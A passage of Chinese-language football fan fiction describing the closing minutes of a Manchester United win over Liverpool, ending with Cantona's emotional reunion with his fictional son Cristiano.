正如她所说，坎通纳很快用行动做出了回应。第七十五分钟，他在中场接到舒梅切尔的大脚开球，胸部停球后转身摆脱防守，送出一记四十码外的精准长传，找到了右路插上的贝克汉姆。年轻的小贝传中，科尔头球攻门，被詹姆斯神勇扑出。
“太可惜了！”解说员惋惜道，“坎通纳这脚传球简直妙到毫巅！”
比赛进入最后十分钟，利物浦的攻势更加凶猛。第八十五分钟，巴恩斯的远射打在曼联后卫身上变线，舒梅切尔勉强将球扑出底线。角球开出后，利物浦中卫头球攻门，球直奔死角，舒梅切尔再次做出世界级扑救，单掌将球托出横梁。
场边的弗格森已经坐不住了，不断向第四官员抱怨补时时间。看台上的曼联球迷也开始紧张地唱歌，试图为球队打气。
补时第三分钟，坎通纳在前场抢断成功，带球突入禁区。面对出击的詹姆斯，他冷静地选择了挑射，球划过一道优美的弧线，越过门将头顶……
“砰！”球重重地砸在横梁上弹出底线。
坎通纳跪倒在草地上，双手抱头。整个老特拉福德发出一声巨大的叹息。家属区里，克里斯蒂亚诺失望地捂住脸，艾米莉则紧紧搂住儿子。
裁判终于吹响了终场哨声，曼联1-0战胜利物浦。球员们互相拥抱庆祝，坎通纳则走向场边，将克里斯蒂亚诺抱了起来。
“我们赢了，爸爸！”小男孩兴奋地喊道，完全忘记了刚才的失望。
坎通纳亲了亲儿子的脸颊：“是的，我们赢了。但你知道最重要的是什么吗？”
克里斯蒂亚诺想了想：“你回来了？”
坎通纳微笑着点头：“我回来了。”